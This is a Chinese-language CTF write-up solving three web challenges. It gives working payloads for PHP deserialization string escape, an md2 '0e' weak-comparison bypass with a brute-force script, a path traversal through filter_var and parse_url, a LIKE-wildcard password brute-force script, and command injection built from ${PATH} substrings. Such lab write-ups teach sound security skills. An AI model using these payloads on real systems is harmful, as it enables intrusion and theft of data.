前言 今早把马原旷了,原本打算去学习数学建模回寝室复现了一遍月饼杯的题目,还是学到了一些小的trick。
web1 代码审计,给了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 class a { public $uname ; public $password ; public function __construct ($uname ,$password ) { $this ->uname=$uname ; $this ->password=$password ; } public function __wakeup ( ) { if ($this ->password==='yu22x' ) { include ('flag.php' ); echo $flag ; } else { echo 'wrong password' ; } } } function filter ($string ) { return str_replace ('Firebasky' ,'Firebaskyup' ,$string ); } $uname =$_GET [1 ];$password =1 ;$ser =filter (serialize (new a ($uname ,$password )));$test =unserialize ($ser );?>
很明显的序列化逃逸
直接放payload:?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );$a =$_GET ['a' ];$b =$_GET ['b' ];$c =$_GET ['c' ];$url [1 ]=$_POST ['url' ];if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ){ $d = ($b ==hash ("md2" , $b )) && ($c ==hash ("md2" ,hash ("md2" , $c ))); if ($d ){ highlight_file ('hint.php' ); if (filter_var ($url [1 ],FILTER_VALIDATE_URL)){ $host =parse_url ($url [1 ]); print_r ($host ); if (preg_match ('/ctfshow\.com$/' ,$host ['host' ])){ print_r (file_get_contents ($url [1 ])); }else { echo '差点点就成功了!' ; } }else { echo 'please give me url!!!' ; } }else { echo '想一想md5碰撞原理吧?!' ; } }else { echo '第一个都过不了还想要flag呀?!' ; }
第一层 a!=0 但是又要 a*a == 0 ,这里考察php的浮点数精度溢出,找一个比较小,接近于0的数
1e-162 即可绕过
第二层,找到一个b,md2加密后仍然等于b,找到一个c,两次md2加密后,仍然等于c
考虑PHP弱比较特性 即找到一个 0e开头的数,md2加密后仍然是0e开头
爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php for ($i =0 ; $i < 999999 ; $i ++) { $b =hash ("md2" , '0e' .$i .'024452' ); if (is_numeric ($b ) && substr ($b ,0 ,2 )==='0e' ){ echo '$i = ' ;echo $i ; echo '$b = ' ;echo $b ; } $c =hash ("md2" ,hash ("md2" , '0e' .$i .'48399' )); if (is_numeric ($c ) && substr ($c ,0 ,2 )==='0e' ){ echo '$i = ' ;echo $i ; echo '$c = ' ;echo $c ; } } ?>
第三层
php会把不能理解的协议当做目录处理,这里 a:// 0:// 都能通过filter_var函数
这里用 a://ctfshow.com/../../../../../../../fl0g.txt
web3
给了hint
这里可以用%和_来进行模糊查询,过滤了%,但没有过滤 _ ,%可以匹配多位,而 _ 只能匹配一位。所以可以利用 _ 来测试出 密码的位数,经过测试有32位,接下来写脚本爆破密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport stringurl="http://4fe5ddc9-9c6e-4206-8b92-f0a676f567c1.chall.ctf.show/login.php" dicts=string.ascii_letters+string.digits+'{' +'}' +'-' password='67815b0c009ee970fe4014abaa3Fa6A' for i in range (1 ,34 ): for char in dicts: r=requests.session() datas={"username" :"yu22x" ,"password" :password+char+(32 -i)*'_' } print (password+char+(32 -i)*'_' ) res=r.post(url=url,data=datas) if 'wrong' in res.text: print ("" ,end="" ) if 'I have filtered' in res.text: password+=char print (password) break
得到密码: 67815b0c009ee970fe4014abaa3Fa6A0
然后登陆来到一个新的页面:
考虑可能是命令注入,这里过滤了小写字母等字符,可以利用环境变量截取拼接来构造
我用买的服务器 echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
127.0.0.1;${PATH:5:1}${PATH:2:1} 即可构造出 ls 命令, 发现有flag.php文件
然后构造 nl flag.php = > ${PATH:14:1}${PATH:5:1} ????.??? F12 拿到flag
总结 学到了新的绕过姿势,和 命令构造方式 。